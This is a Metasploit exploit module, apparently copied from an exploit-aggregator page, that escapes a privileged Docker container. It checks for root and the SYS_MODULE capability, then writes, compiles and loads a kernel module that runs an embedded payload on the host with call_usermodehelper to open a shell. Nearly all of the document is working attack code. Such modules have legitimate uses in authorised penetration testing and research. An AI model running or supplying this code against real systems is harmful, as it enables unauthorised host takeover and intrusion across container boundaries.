Share
## https://sploitus.com/exploit?id=PACKETSTORM:178463
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Post::File  
include Msf::Post::Unix  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Docker Privileged Container Kernel Escape',  
'Description' => %q{  
This module performs a container escape onto the host as the daemon  
user. It takes advantage of the SYS_MODULE capability. If that  
exists and the linux headers are available to compile on the target,  
then we can escape onto the host.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Nick Cottrell <Rad10Logic>', # Module writer  
'Eran Ayalon', # PoC/article writer  
'Ilan Sokol' # PoC/article writer  
],  
'Platform' => %w[linux unix],  
'Arch' => [ARCH_CMD],  
'Targets' => [['Automatic', {}]],  
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },  
'SessionTypes' => %w[shell meterpreter],  
'DefaultTarget' => 0,  
'References' => [  
%w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],  
%w[URL https://github.com/maK-/reverse-shell-access-kernel-module]  
],  
'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
}  
)  
)  
register_advanced_options([  
OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),  
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])  
])  
end  
  
# Check we have all the prerequisites to perform the escape  
def check  
# Checking database if host has already been disclosed as a container  
container_name =  
if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host  
framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host  
else  
get_container_type  
end  
  
unless %w[docker podman lxc].include?(container_name.downcase)  
return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')  
end  
  
# is root user  
unless is_root?  
return Exploit::CheckCode::Safe('Exploit requires root inside container')  
end  
  
# Checking if the SYS_MODULE capability is enabled  
capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)  
unless capability_bitmask & 0x0000000000010000 > 0  
return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')  
end  
  
CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')  
end  
  
def exploit  
krelease = kernel_release  
# Check if kernel header folders exist  
kernel_headers_path = [  
"/lib/modules/#{krelease}/build",  
"/usr/src/kernels/#{krelease}"  
].find { |path| directory?(path) }  
unless kernel_headers_path  
fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')  
end  
vprint_status("Kernel headers found at: #{kernel_headers_path}")  
  
# Check that our required binaries are installed  
unless command_exists?('insmod')  
fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')  
end  
unless command_exists?('make')  
fail_with(Failure::NoTarget, 'make does not appear to be installed.')  
end  
  
# Check that container directory is writable  
if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])  
fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")  
end  
  
# Checking that kernel module isn't already running  
if kernel_modules.include?(datastore['KernelModuleName'])  
fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")  
end  
  
# Creating source files  
print_status('Creating files...')  
mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])  
  
write_kernel_source(datastore['KernelModuleName'], payload.encoded)  
write_makefile(datastore['KernelModuleName'])  
register_files_for_cleanup([  
"#{datastore['KernelModuleName']}.c",  
'Makefile'  
].map { |filename| File.join(datastore['WritableContainerDir'], filename) })  
  
# Making exploit  
print_status('Compiling the kernel module...')  
results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")  
vprint_status('Make results')  
vprint_line(results)  
register_files_for_cleanup([  
'Module.symvers',  
'modules.order',  
"#{datastore['KernelModuleName']}.mod",  
"#{datastore['KernelModuleName']}.mod.c",  
"#{datastore['KernelModuleName']}.mod.o",  
"#{datastore['KernelModuleName']}.o"  
].map { |filename| File.join(datastore['WritableContainerDir'], filename) })  
  
# Checking if kernel file exists  
unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")  
fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')  
end  
print_good('Kernel module compiled successfully')  
  
# Loading module and running exploit  
print_status('Loading kernel module...')  
results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")  
  
unless results.blank?  
results = results.strip  
vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))  
vprint_line(results) if results.count("\n") > 0  
end  
end  
  
def cleanup  
# Attempt to remove kernel module  
if kernel_modules.include?(datastore['KernelModuleName'])  
vprint_status('Cleaning kernel module')  
cmd_exec("rmmod #{datastore['KernelModuleName']}")  
end  
  
# Check that kernel module was removed  
if kernel_modules.include?(datastore['KernelModuleName'])  
print_warning('Payload was not a oneshot and cannot be removed until session is ended')  
print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")  
end  
super  
end  
  
def write_kernel_source(filename, payload_content)  
file_content = <<~SOURCE  
#include<linux/init.h>  
#include<linux/module.h>  
#include<linux/kmod.h>  
  
MODULE_LICENSE("GPL");  
  
static int start_shell(void){  
#{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}  
char *argv[] = {"/bin/bash", "-c", command, NULL};  
static char *env[] = {  
"HOME=/",  
"TERM=linux",  
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };  
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);  
}  
  
static int init_mod(void){  
return start_shell();  
}  
static void exit_mod(void){  
  
return;  
}  
module_init(init_mod);  
module_exit(exit_mod);  
SOURCE  
filename = "#{filename}.c" unless filename.end_with?('.c')  
write_file(File.join(datastore['WritableContainerDir'], filename), file_content)  
end  
  
def write_makefile(filename)  
file_contents = <<~SOURCE  
obj-m +=#{filename}.o  
  
all:  
\tmake -C $(KERNEL_DIR) M=$(PWD) modules  
clean:  
\tmake -C $(KERNEL_DIR) M=$(PWD) clean  
SOURCE  
write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)  
end  
end